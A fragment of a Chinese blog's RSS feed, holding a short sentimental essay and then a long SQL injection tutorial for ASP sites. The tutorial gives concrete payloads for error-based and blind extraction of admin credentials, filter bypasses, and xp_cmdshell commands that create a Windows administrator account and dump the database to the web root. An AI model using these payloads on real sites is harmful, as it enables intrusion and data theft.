(admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/184.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/95057843/5164361</fs:itemid></item><item><title>【上床之前】VS【上床之后】</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/95057844/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=183</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=183&amp;key=658a8f7d</trackback:ping><description>&lt;p&gt;【上床之前】&amp;nbsp;&amp;nbsp; &lt;br /&gt;他,为了她可以牺牲一切的一切,&amp;nbsp;&amp;nbsp; &lt;br /&gt;他,为了她什么事都可以去做、&amp;nbsp;&amp;nbsp; &lt;br /&gt;他,常常在她的身边说着,他有多么爱她、&amp;nbsp;&amp;nbsp; &lt;br /&gt;她,是他的一切,他这辈子做疼爱的女人、&amp;nbsp;&amp;nbsp; &lt;br /&gt;她,沉醉在他的甜言蜜语里、&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;似乎感觉到她是世界上最幸福的女人,为他而沉沦、&amp;nbsp;&amp;nbsp; &lt;br /&gt;他常常问她:你爱我么?她总是幸福的笑着回答:爱阿,很爱～、&amp;nbsp;&amp;nbsp; &lt;br /&gt;他说:既然这么爱我,就和我做a１,把女人最宝贵的贞操给我,证明爱我、&amp;nbsp;&amp;nbsp; &lt;br /&gt;她,为了证明是爱他的、&amp;nbsp;&amp;nbsp; &lt;br /&gt;她,答应了他的要求、&amp;nbsp;&amp;nbsp; &lt;br /&gt;把女人一生中贞操交给了一个如此爱她的男人～、&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;她,忍着痛让他进入了她的身体、&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;经过一个的缠绵,深深的睡着了～、&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;【上床之后】&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;他和她仍然在一起,只是少了从前的感觉、&amp;nbsp;&amp;nbsp; &lt;br /&gt;慢慢的,他开始对她的一切感到厌恶、&amp;nbsp;&amp;nbsp; &lt;br /&gt;他,找不同的理由和她争吵、&amp;nbsp;&amp;nbsp; &lt;br /&gt;吵过之后,摔门而出,留下了她和一张他们曾经缠绵过的床、&amp;nbsp;&amp;nbsp; &lt;br /&gt;她,依然是傻傻的相信他还是爱自己的、&amp;nbsp;&amp;nbsp; &lt;br /&gt;因为她不能接受一个曾经跟她海誓山盟,要照顾她一辈子的男人会变心、&amp;nbsp;&amp;nbsp; &lt;br /&gt;她,坚持着这份早已离她远去.支离破碎的爱、&amp;nbsp;&amp;nbsp; &lt;br /&gt;爱,最终走到了尽头、&amp;nbsp;&amp;nbsp; &lt;br /&gt;他,还是在床上对她说出了那句话:&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;分手吧,其实早已不爱你了、&amp;nbsp;&amp;nbsp; &lt;br /&gt;她,没有出声,也没有抱怨,而是一动不动,麻木、&amp;nbsp;&amp;nbsp; &lt;br /&gt;他把她拥入怀中,深吻一下在她的耳边留下了一句话:&amp;nbsp;&amp;nbsp; &lt;br /&gt;当你和我上床之后,就不爱你了,谢谢你对我这么痴心、&amp;nbsp;&amp;nbsp; &lt;br /&gt;说完,他穿上衣离开了、&amp;nbsp;&amp;nbsp; &lt;br /&gt;她,依旧躺在那张床上,没有流泪,坚强的让人可怕、&amp;nbsp;&amp;nbsp; &lt;br /&gt;从复着一句话:上床之后的爱情,原来只能这样而已～、&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;他和她的爱是建立在两腿之间、&amp;nbsp;&amp;nbsp; &lt;br /&gt;她,把灵魂、妇道、贞操、做为赌注,还是输给了他的无情～&amp;nbsp;&amp;nbsp; &lt;br /&gt;他,污染了她的心,她的身体,她的灵魂、&amp;nbsp;&amp;nbsp; &lt;br /&gt;原来,这就是所谓的爱情、&amp;nbsp;&amp;nbsp; &lt;br /&gt;激情过后的 s&amp;aacute;y Gō&amp;oacute;d bye&lt;/p&gt;</description><category>心情随笔</category><pubDate>Sun, 20 Jul 2008 16:49:17 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/183.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/183.html</guid><dc:creator>a@b.com (admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/183.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/95057844/5164361</fs:itemid></item><item><title>SQL注入原理</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/94573198/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=182</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=182&amp;key=09ebbbcb</trackback:ping><description>&lt;p&gt;随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一 部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得 某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;  但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与&amp;ldquo;菜鸟&amp;rdquo;的根本区别。 &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入 门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let's Go...&amp;nbsp; &lt;br /&gt;&amp;nbsp; &lt;br /&gt;入门篇&amp;nbsp; &lt;br /&gt;&lt;br /&gt;如果你以前没试过SQL注入的话，那么第一步先把IE菜单=&amp;gt;工具=&amp;gt;Internet选项=&amp;gt;高级=&amp;gt;显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回&lt;span id=&quot;rlt_1&quot; style=&quot;border-bottom: 1px solid rgb(250, 137, 27); cursor: pointer;&quot; onclick=&quot;sendmsg('pw_ajax.php','action=relatetag&amp;amp;tagname=什么',this.id)&quot;&gt;什么&lt;/span&gt;错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;第一节、SQL注入原理&amp;nbsp; &lt;br /&gt;&lt;br /&gt;以下我们从一个网站&lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/&quot;&gt;www.mytest.com&lt;/a&gt;开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;在网站首页上，有名为&amp;ldquo;IE不能打开新窗口的多种解决方法&amp;rdquo;的链接，地址为：&lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/showdetail.asp?id=49&quot;&gt;http://www.mytest.com/showdetail.asp?id=49&lt;/a&gt;，我们在这个地址后面加上单引号&amp;rsquo;，服务器会返回下面的错误提示：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Microsoft JET Database Engine 错误 '80040e14'&amp;nbsp; &lt;br /&gt;&lt;br /&gt;字符串的语法错误 在查询表达式 'ID=49'' 中。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;/showdetail.asp，行8&amp;nbsp; &lt;br /&gt;&lt;br /&gt;从这个错误提示我们能看出下面几点：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;1. 网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;2. 程序没有判断客户端提交的数据是否符合程序要求。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;3. 该SQL语句所查询的表中有一名为ID的字段。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;从上面的例子我们可以知道，SQL注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。&amp;nbsp; &lt;br /&gt;&amp;nbsp; &lt;br /&gt;第二节、判断能否进行SQL注入&amp;nbsp; &lt;br /&gt;&lt;br /&gt;看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？&amp;nbsp; &lt;br /&gt;&lt;br /&gt;其实，这并不是最好的方法，为什么呢？&amp;nbsp; &lt;br /&gt;&lt;br /&gt;首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;其次，部分对SQL注入有一点了解的程序员 认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的&amp;nbsp; &lt;br /&gt;&lt;br /&gt;那么，什么样的测试方法才是比较准确呢？答案如下：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;① &lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/showdetail.asp?id=49&quot;&gt;http://www.mytest.com/showdetail.asp?id=49&lt;/a&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;② &lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/showdetail.asp?id=49&quot;&gt;http://www.mytest.com/showdetail.asp?id=49&lt;/a&gt; ;and 1=1&amp;nbsp; &lt;br /&gt;&lt;br /&gt;③ &lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/showdetail.asp?id=49&quot;&gt;http://www.mytest.com/showdetail.asp?id=49&lt;/a&gt; ;and 1=2&amp;nbsp; &lt;br /&gt;&lt;br /&gt;这就是经典的1=1、1=2测试法了，&lt;span id=&quot;rlt_4&quot; style=&quot;border-bottom: 1px solid rgb(250, 137, 27); cursor: pointer;&quot; onclick=&quot;sendmsg('pw_ajax.php','action=relatetag&amp;amp;tagname=怎么',this.id)&quot;&gt;怎么&lt;/span&gt;判断呢？看看上面三个网址返回的结果就知道了：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;可以注入的表现：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;① 正常显示（这是必然的，不然就是程序有错误了）&amp;nbsp; &lt;br /&gt;&lt;br /&gt;② 正常显示，内容基本与①相同&amp;nbsp; &lt;br /&gt;&lt;br /&gt;③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）&amp;nbsp; &lt;br /&gt;&lt;br /&gt;不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的&amp;ldquo;SQL注入一般步骤&amp;rdquo;再做分析。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;第三节、判断数据库类型及注入方法&amp;nbsp; &lt;br /&gt;&lt;br /&gt;不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;怎么让程序告诉你它使用的什么数据库呢？来看看：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/showdetail.asp?id=49&quot;&gt;http://www.mytest.com/showdetail.asp?id=49&lt;/a&gt; ;and user&amp;gt;0&amp;nbsp; &lt;br /&gt;&lt;br /&gt;这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首 先，前面的语句是正常的，重点在and user&amp;gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示 是：将nvarchar值 &amp;rdquo;abc&amp;rdquo; 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。 &amp;nbsp; &lt;br /&gt;&lt;br /&gt;顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定 可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将&amp;rdquo;dbo&amp;rdquo;转换成int的列发生错 误，而不是&amp;rdquo;sa&amp;rdquo;。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和 SQLServer和区别入手，Access和 SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提 示&amp;ldquo;没有&lt;span id=&quot;rlt_5&quot; style=&quot;border-bottom: 1px solid rgb(250, 137, 27); cursor: pointer;&quot; onclick=&quot;sendmsg('pw_ajax.php','action=relatetag&amp;amp;tagname=权限',this.id)&quot;&gt;权限&lt;/span&gt;&amp;rdquo;，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;在确认可以注入的情况下，使用下面的语句：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/showdetail.asp?id=49&quot;&gt;http://www.mytest.com/showdetail.asp?id=49&lt;/a&gt; ;and (select count(*) from sysobjects)&amp;gt;0&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/showdetail.asp?id=49&quot;&gt;http://www.mytest.com/showdetail.asp?id=49&lt;/a&gt; ;and (select count(*) from msysobjects)&amp;gt;0&amp;nbsp; &lt;br /&gt;&lt;br /&gt;如果数据库是SQLServer，那么第一个网址的页面与原页面&lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/showdetail.asp?id=&quot;&gt;http://www.mytest.com/showdetail.asp?id=&lt;/a&gt; 49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是 不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。&amp;nbsp; &lt;br /&gt;&amp;nbsp;  &lt;br /&gt;入门篇，我们学会了SQL注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看SQL注入的一般步骤：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;第一节、SQL注入的一般步骤&amp;nbsp; &lt;br /&gt;&lt;br /&gt;首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ID=49 这类注入的参数是数字型，SQL语句原貌大致如下： &lt;br /&gt;&lt;br /&gt;Select * from 表名 where 字段=49&amp;nbsp; &lt;br /&gt;&lt;br /&gt;注入的参数为ID=49 And [查询条件]，即是生成语句： &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Select * from 表名 where 字段=49&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Select * from 表名 where 字段=&amp;rsquo;连续剧&amp;rsquo;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;注入的参数为Class=连续剧&amp;rsquo; and [查询条件] and &amp;lsquo;&amp;rsquo;=&amp;rsquo; ，即是生成语句：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Select * from 表名 where 字段=&amp;rsquo;连续剧&amp;rsquo; and [查询条件] and &amp;lsquo;&amp;rsquo;=&amp;rsquo;&amp;rsquo;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;copy; 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Select * from 表名 where 字段like &amp;rsquo;%关键字%&amp;rsquo;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;注入的参数为keyword=&amp;rsquo; and [查询条件] and &amp;lsquo;%25&amp;rsquo;=&amp;rsquo;， 即是生成语句：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Select * from 表名 where字段like &amp;rsquo;%&amp;rsquo; and [查询条件] and &amp;lsquo;%&amp;rsquo;=&amp;rsquo;%&amp;rsquo;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;接着，将查询条件替换成SQL语句，猜解表名，例如：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ID=49 And (Select Count(*) from Admin)&amp;gt;=0&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; 表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法&lt;span id=&quot;rlt_2&quot; style=&quot;border-bottom: 1px solid rgb(250, 137, 27); cursor: pointer;&quot; onclick=&quot;sendmsg('pw_ajax.php','action=relatetag&amp;amp;tagname=速度',this.id)&quot;&gt;速度&lt;/span&gt;很慢，但肯定是可行的方法。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.mytest.com/showdetail.asp?id=49&quot;&gt;http://www.mytest.com/showdetail.asp?id=49&lt;/a&gt; ;and (select top 1 len(username) from Admin)&amp;gt;0&amp;nbsp; &lt;br /&gt;&lt;br /&gt;先说明原理：如果top 1的username长度大于0，则条件成立；接着就是&amp;gt;1、&amp;gt;2、&amp;gt;3这样测试下去，一直到条件不成立为止，比如&amp;gt;7成立，&amp;gt;8不成立，就是len(username)=8&amp;nbsp; &lt;br /&gt;&lt;br /&gt;当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;id=49 and (select top 1 asc(mid(username,1,1)) from Admin)&amp;gt;0&amp;nbsp; &lt;br /&gt;&lt;br /&gt;同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法&lt;span id=&quot;rlt_7&quot; style=&quot;border-bottom: 1px solid rgb(250, 137, 27); cursor: pointer;&quot; onclick=&quot;sendmsg('pw_ajax.php','action=relatetag&amp;amp;tagname=加速',this.id)&quot;&gt;加速&lt;/span&gt;猜解，如果写成程序测试，效率会有极大的提高。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;第二节、SQL注入常用函数&amp;nbsp; &lt;br /&gt;&lt;br /&gt;有SQL语言基础的人，在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及&lt;span id=&quot;rlt_3&quot; style=&quot;border-bottom: 1px solid rgb(250, 137, 27); cursor: pointer;&quot; onclick=&quot;sendmsg('pw_ajax.php','action=relatetag&amp;amp;tagname=命令',this.id)&quot;&gt;命令&lt;/span&gt;。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Access：asc(字符) SQLServer：unicode(字符)&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; 作用：返回某字符的ASCII码&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Access：chr(数字) SQLServer：nchar(数字)&amp;nbsp; &lt;br /&gt;&lt;br /&gt;作用：与asc相反，根据ASCII码返回字符&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)&amp;nbsp; &lt;br /&gt;&lt;br /&gt;作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Access：abc(数字) SQLServer：abc (数字)&amp;nbsp; &lt;br /&gt;&lt;br /&gt;作用：返回数字的绝对值（在猜解汉字的时候会用到）&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Access：A between B And C SQLServer：A between B And C&amp;nbsp; &lt;br /&gt;&lt;br /&gt;作用在于：判断A是否界于B与C之间&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;br /&gt;第三节、中文处理方法&amp;nbsp; &lt;br /&gt;&lt;br /&gt;在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，&amp;ldquo;中文恐惧症&amp;rdquo;很快可以克服。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;先说一点常识：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;SQL Server中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是&lt;span id=&quot;rlt_6&quot; style=&quot;border-bottom: 1px solid rgb(250, 137, 27); cursor: pointer;&quot; onclick=&quot;sendmsg('pw_ajax.php','action=relatetag&amp;amp;tagname=没什么',this.id)&quot;&gt;没什么&lt;/span&gt;两样的。&lt;br /&gt;&lt;br /&gt;看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;第一节、利用系统表注入SQLServer数据库&amp;nbsp; &lt;br /&gt;&lt;br /&gt;SQL Server是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;① &lt;a target=&quot;_blank&quot; href=&quot;http://site/url.asp?id=1;exec&quot;&gt;http://Site/url.asp?id=1;exec&lt;/a&gt; master..xp_cmdshell &amp;ldquo;net user name password /add&amp;rdquo;--&amp;nbsp; &lt;br /&gt;&lt;br /&gt;分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是 Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密 码为password的windows的帐号，接着：&amp;nbsp; &lt;br /&gt;&lt;br /&gt;② &lt;a target=&quot;_blank&quot; href=&quot;http://site/url.asp?id=1;exec&quot;&gt;http://Site/url.asp?id=1;exec&lt;/a&gt; master..xp_cmdshell &amp;ldquo;net localgroup name administrators /add&amp;rdquo;--&amp;nbsp; &lt;br /&gt;&lt;br /&gt;将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;③ &lt;a target=&quot;_blank&quot; href=&quot;http://site/url.asp?id=1&quot;&gt;http://Site/url.asp?id=1&lt;/a&gt; ;and db_name()&amp;gt;0&amp;nbsp; &lt;br /&gt;&lt;br /&gt;前面有个类似的例子and user&amp;gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;④ &lt;a target=&quot;_blank&quot; href=&quot;http://site/url.asp?id=1;backup&quot;&gt;http://Site/url.asp?id=1;backup&lt;/a&gt; database 数据库名 to disk=&amp;rsquo;c:\inetpub\wwwroot\1.db&amp;rsquo;;--&amp;nbsp; &lt;br /&gt;&lt;br /&gt;这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下 载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\202.96.xx.xx\Share \1.db），但成功率不高。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;⑤ &lt;a target=&quot;_blank&quot; href=&quot;http://site/url.asp?id=1&quot;&gt;http://Site/url.asp?id=1&lt;/a&gt; ;and (Select Top 1 name from sysobjects where xtype=&amp;rsquo;U&amp;rsquo; and status&amp;gt;0)&amp;gt;0&amp;nbsp; &lt;br /&gt;&lt;br /&gt;前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=&amp;rsquo;U&amp;rsquo; and status&amp;gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留 给我们聪明的读者思考吧。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;⑥ &lt;a target=&quot;_blank&quot; href=&quot;http://site/url.asp?id=1&quot;&gt;http://Site/url.asp?id=1&lt;/a&gt; ;and (Select Top 1 col_name(object_id(&amp;lsquo;表名&amp;rsquo;),1) from sysobjects)&amp;gt;0&amp;nbsp; &lt;br /&gt;&lt;br /&gt;从⑤拿到表名后，用object_id(&amp;lsquo;表名&amp;rsquo;)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; 第二节、绕过程序限制继续注入&amp;nbsp; &lt;br /&gt;&lt;br /&gt;在入门篇提到，有很多人喜欢用&amp;rsquo;号测试注入漏洞，所以也有很多人用过滤&amp;rsquo;号的方法来&amp;ldquo;防止&amp;rdquo;注入漏洞，这也许能挡住一些入门者的攻击，但对SQL注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;在&amp;ldquo;SQL注入的一般步骤&amp;rdquo;一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在&amp;ldquo;利用系统表注入SQLServer数据库&amp;rdquo;中，有些语句包含有&amp;rsquo;号，我们举个例子 &lt;br /&gt;&lt;br /&gt;简 单的如where xtype=&amp;rsquo;U&amp;rsquo;，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=&amp;rsquo;用户&amp;rsquo;，可以用where name=nchar(29992)+nchar(25143)代替。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;第三节、经验小结&amp;nbsp; &lt;br /&gt;&lt;br /&gt;1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。&amp;nbsp; &lt;br /&gt;&lt;br /&gt;2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。&amp;nbsp; &lt;br /&gt;&lt;br 